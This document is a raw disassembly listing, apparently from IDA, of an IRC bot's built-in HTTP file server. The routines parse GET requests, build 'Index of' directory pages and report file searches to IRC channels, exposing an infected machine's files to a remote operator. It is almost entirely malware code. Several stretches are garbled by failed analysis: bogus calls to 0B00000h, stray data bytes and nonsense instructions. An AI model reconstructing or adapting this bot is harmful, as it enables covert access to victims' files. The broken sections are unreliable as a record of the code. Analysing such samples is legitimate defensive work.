		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_4D128C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC7C
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F968:				; CODE XREF: sub_40F891+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_4D11D8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC77
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F99E:				; CODE XREF: sub_40F891+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_4D10DC
		test	eax, eax
		jz	loc_40FC62
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FA20
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4D1284
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC62
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F9F2
		lea	edx, [ebp+var_134]


loc_40F9E6:				; CODE XREF: sub_40F891+15Fj
		cmp	[edx], eax
		jz	short loc_40F9F2
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F9E6


loc_40F9F2:				; CODE XREF: sub_40F891+14Dj
					; sub_40F891+157j
		cmp	ecx, ebx
		jnz	short loc_40FA0F
		cmp	ebx, 40h
		jnb	short loc_40FA0F
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FA0F:				; CODE XREF: sub_40F891+163j
					; sub_40F891+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FC62
		mov	[ebp+var_8], eax
		jmp	loc_40FC62
; ---------------------------------------------------------------------------


loc_40FA20:				; CODE XREF: sub_40F891+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BC40
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_4D1208
		test	eax, eax
		jg	short loc_40FAB3
		push	esi
		call	ds:dword_4D1288
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FC62
		lea	eax, [ebp+var_134]


loc_40FA72:				; CODE XREF: sub_40F891+1EBj
		cmp	[eax], esi
		jz	short loc_40FA83
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FA72
		jmp	loc_40FC62
; ---------------------------------------------------------------------------


loc_40FA83:				; CODE XREF: sub_40F891+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FAA7
		lea	eax, [ebp+ecx*4+var_134]


loc_40FA91:				; CODE XREF: sub_40F891+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FA91


loc_40FAA7:				; CODE XREF: sub_40F891+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FC62
; ---------------------------------------------------------------------------


loc_40FAB3:				; CODE XREF: sub_40F891+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BC40
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B890
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FC62


loc_40FAE1:				; CODE XREF: sub_40F891+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FB86
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FB5A
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B890
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FB5A
		mov	eax, offset asc_43368C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C794
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C550
		add	esp, 10h
		jmp	short loc_40FB71
; ---------------------------------------------------------------------------


loc_40FB5A:				; CODE XREF: sub_40F891+27Fj
					; sub_40F891+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43BB50 ; "\r\n"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FBA5


loc_40FB71:				; CODE XREF: sub_40F891+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FB86:				; CODE XREF: sub_40F891+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B890
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FAE1
		jmp	loc_40FC62
; ---------------------------------------------------------------------------


loc_40FBA5:				; CODE XREF: sub_40F891+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FBEF
		lea	eax, [ebp+var_134]


loc_40FBB1:				; CODE XREF: sub_40F891+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FBC2
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FBB1
		jmp	short loc_40FBF2
; ---------------------------------------------------------------------------


loc_40FBC2:				; CODE XREF: sub_40F891+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FBE6
		lea	eax, [ebp+ecx*4+var_134]


loc_40FBD0:				; CODE XREF: sub_40F891+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FBD0


loc_40FBE6:				; CODE XREF: sub_40F891+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FBF2
; ---------------------------------------------------------------------------


loc_40FBEF:				; CODE XREF: sub_40F891+318j
		mov	esi, [ebp+var_4]


loc_40FBF2:				; CODE XREF: sub_40F891+32Fj
					; sub_40F891+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FC5B
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B890
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B890
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FC5B
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_4D128C
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	loc_40FE6E
		add	esp, 14h
		jmp	short loc_40FC62
; ---------------------------------------------------------------------------


loc_40FC5B:				; CODE XREF: sub_40F891+369j
					; sub_40F891+38Fj
		push	esi
		call	ds:dword_4D1288


loc_40FC62:				; CODE XREF: sub_40F891+11Dj
					; sub_40F891+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F99E
		jmp	loc_40F968
; ---------------------------------------------------------------------------


loc_40FC77:				; CODE XREF: sub_40F891+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FC7C:				; CODE XREF: sub_40F891+6Aj
					; sub_40F891+92j ...
		call	ds:dword_4D1184
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_43BB28
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FCC2
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_4099D2
		add	esp, 14h


loc_40FCC2:				; CODE XREF: sub_40F891+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	ds:dword_4D1288
		push	[ebp+var_254]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h
		xor	al, 5Fh
		pop	esi
		pop	ebx
sub_40F891	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FCEC	proc near		; DATA XREF: seg000:004100B4o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C1D0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41BF36
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40FD51
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FD56
; ---------------------------------------------------------------------------


loc_40FD51:				; CODE XREF: sub_40FCEC+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FD56:				; CODE XREF: sub_40FCEC+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41BF36
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0B00000h
		pop	esp
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 0B00000h
		pop	edx
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40FDCF
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41BF36
		add	esp, 24h
		jmp	short loc_40FDF0
; ---------------------------------------------------------------------------


loc_40FDCF:				; CODE XREF: sub_40FCEC+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41BF36
		add	esp, 28h


loc_40FDF0:				; CODE XREF: sub_40FCEC+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	ds:dword_4D1240
		cmp	[ebp+var_A4], edi
		jnz	short loc_40FE30
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4107A0
		pop	ecx
		pop	ecx
		jmp	short loc_40FE4D
; ---------------------------------------------------------------------------


loc_40FE30:				; CODE XREF: sub_40FCEC+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41011E
		add	esp, 10h


loc_40FE4D:				; CODE XREF: sub_40FCEC+142j
		push	[ebp+var_44C]
		call	ds:dword_4D1288
		push	[ebp+var_B4]
		call	sub_40B32A
		pop	ecx
		push	edi
		call	near ptr 0B00000h
		mov	ah, 5Fh
		pop	esi
sub_40FCEC	endp ; sp-analysis failed



loc_40FE6E:				; CODE XREF: sub_40F891+3C0p
		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp-210h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BC40
		mov	eax, [ebp+10h]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40FEA4
		push	eax
		push	offset aS_5	; "\\%s"
		jmp	short loc_40FEAD
; ---------------------------------------------------------------------------


loc_40FEA4:				; CODE XREF: seg000:0040FE9Aj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_40FEAD:				; CODE XREF: seg000:0040FEA2j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		lea	eax, [ebp-10Ch]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B890
		test	eax, eax
		pop	ecx
		jbe	short loc_40FF48
		mov	dword ptr [ebp+10h], 2


loc_40FED8:				; CODE XREF: seg000:0040FF46j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_41B890
		cmp	[ebp+10h], eax
		pop	ecx
		jnb	short loc_40FF18
		cmp	byte ptr [ebp+esi-10Ch], 25h
		jnz	short loc_40FF18
		cmp	byte ptr [ebp+esi-10Bh], 32h
		jnz	short loc_40FF18
		cmp	byte ptr [ebp+esi-10Ah], 30h
		jnz	short loc_40FF18
		inc	esi
		mov	byte ptr [ebp+ebx-210h], 20h
		inc	esi
		add	dword ptr [ebp+10h], 2
		jmp	short loc_40FF32
; ---------------------------------------------------------------------------


loc_40FF18:				; CODE XREF: seg000:0040FEE8j
					; seg000:0040FEF2j ...
		mov	al, [ebp+esi-10Ch]
		cmp	al, 2Fh
		jnz	short loc_40FF28
		push	5Ch
		pop	eax
		jmp	short loc_40FF2B
; ---------------------------------------------------------------------------


loc_40FF28:				; CODE XREF: seg000:0040FF21j
		movsx	eax, al


loc_40FF2B:				; CODE XREF: seg000:0040FF26j
		mov	[ebp+ebx-210h],	al


loc_40FF32:				; CODE XREF: seg000:0040FF16j
		lea	eax, [ebp-10Ch]
		inc	esi
		inc	dword ptr [ebp+10h]
		push	eax
		inc	ebx
		call	sub_41B890
		cmp	esi, eax
		pop	ecx
		jb	short loc_40FED8


loc_40FF48:				; CODE XREF: seg000:0040FECFj
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_4301F8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-314h]
		push	offset asc_430808 ; "\n"
		push	eax
		call	sub_41C794
		add	esp, 18h
		lea	eax, [ebp-314h]
		push	eax
		call	ds:dword_427098	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40FF96
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FF99
		push	dword ptr [ebp+8]
		jmp	short loc_410015
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: seg000:0040FF8Aj
		mov	[ebp-4], esi


loc_40FF99:				; CODE XREF: seg000:0040FF8Fj
		cmp	byte ptr [ebp+ebx-211h], 5Ch
		jnz	short loc_40FFA6
		mov	[ebp-4], esi


loc_40FFA6:				; CODE XREF: seg000:0040FFA1j
		mov	ebx, [ebp+8]
		cmp	[ebp-4], edi
		mov	[ebp-6C4h], ebx
		mov	[ebp-318h], edi
		jz	short loc_410020
		cmp	[ebp+14h], edi
		jz	short loc_410014
		lea	eax, [ebp-314h]
		push	offset asc_42C1F0 ; "*"
		push	eax
		call	sub_41C560
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-210h]
		push	eax
		call	sub_41085D
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-53Ch]
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		or	dword ptr [ebp-330h], 0FFFFFFFFh
		mov	[ebp-31Ch], esi
		jmp	short loc_41006F
; ---------------------------------------------------------------------------


loc_410014:				; CODE XREF: seg000:0040FFBDj
		push	ebx


loc_410015:				; CODE XREF: seg000:0040FF94j
		call	ds:dword_4D1288
		jmp	loc_410117
; ---------------------------------------------------------------------------


loc_410020:				; CODE XREF: seg000:0040FFB8j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp-314h]
		push	80000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41006F
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_41BF36
		pop	ecx


loc_410053:				; DATA XREF: seg002:00439351o
					; seg002:00439B61o
		mov	[ebp-31Ch], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 0B00000h
; ---------------------------------------------------------------------------
		db 8Fh,	56h, 89h
		dd 0FFFCD085h, 6C15FFFFh
		db 70h,	42h, 0
; ---------------------------------------------------------------------------


loc_41006F:				; CODE XREF: seg000:00410012j
					; seg000:0041003Dj
		mov	esi, [ebp+18h]
		lea	eax, [ebp-8C4h]
		push	esi
		push	offset unk_43BDA8
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp-8C4h]
		push	3
		push	eax
		call	sub_40B00E
		mov	[ebp-32Ch], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_444124[eax], esi
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-6C4h]
		push	edi
		push	eax
		push	offset sub_40FCEC
		push	edi
		push	edi
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-32Ch]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_444134[ecx], eax
		jz	short loc_4100E9


loc_4100D7:				; CODE XREF: seg000:004100E7j
		cmp	[ebp-318h], edi
		jnz	short loc_410117
		push	5
		call	ds:dword_427064	; Sleep
		jmp	short loc_4100D7
; ---------------------------------------------------------------------------


loc_4100E9:				; CODE XREF: seg000:004100D5j
		push	ebx
		call	ds:dword_4D1288
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-8C4h]
		push	offset unk_43BD70
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-8C4h]
		push	eax
		call	sub_4157A6
		add	esp, 10h


loc_410117:				; CODE XREF: seg000:0041001Bj
					; seg000:004100DDj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41011E	proc near		; CODE XREF: seg000:004091BAp
					; sub_40FCEC+159p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BC40
		mov	edi, [ebp+arg_0]
		push	offset asc_430808 ; "\n"
		push	edi
		call	sub_41C794
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_41017D
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 14h
		jmp	loc_41027A
; ---------------------------------------------------------------------------


loc_41017D:				; CODE XREF: sub_41011E+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_410260
		call	sub_41B890
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		push	edi
		call	sub_41B890
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_41027A
; ---------------------------------------------------------------------------


loc_410260:				; CODE XREF: sub_41011E+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 10h


loc_41027A:				; CODE XREF: sub_41011E+5Aj
					; sub_41011E+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		cmp	[ebp+arg_C], ebx
		jz	short loc_410312
		push	[ebp+arg_C]
		call	sub_41B890
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410312
		push	[ebp+arg_C]
		call	sub_41B890
		sub	eax, 3
		pop	ecx
		jz	short loc_4102C6


loc_4102BA:				; CODE XREF: sub_41011E+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4102C6
		dec	eax
		jnz	short loc_4102BA


loc_4102C6:				; CODE XREF: sub_41011E+19Aj
					; sub_41011E+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240


loc_410312:				; CODE XREF: sub_41011E+17Ej
					; sub_41011E+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_42711C	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:dword_427000	; FindNextFileA
		test	eax, eax
		jz	loc_410703
		mov	edi, 1FFh


loc_41033E:				; CODE XREF: sub_41011E+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_4106EB
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106EB
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106EB
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 0B00000h
		push	edi
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0B00000h
		inc	esp
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_4103B3
		mov	ecx, offset aAm	; "AM"


loc_4103B3:				; CODE XREF: sub_41011E+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_4103BF
		sub	eax, 0Ch


loc_4103BF:				; CODE XREF: sub_41011E+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41BF36
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_41056C
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410440
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C030
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 28h
		jmp	loc_4106BC
; ---------------------------------------------------------------------------


loc_410440:				; CODE XREF: sub_41011E+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_41052A
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B890
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4104E0
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4104E5
; ---------------------------------------------------------------------------


loc_4104E0:				; CODE XREF: sub_41011E+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4104E5:				; CODE XREF: sub_41011E+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4106AD
; ---------------------------------------------------------------------------


loc_41052A:				; CODE XREF: sub_41011E+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C030
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_410557:				; CODE XREF: sub_41011E+476j
		lea	eax, [ebp+var_248]
		push	esi
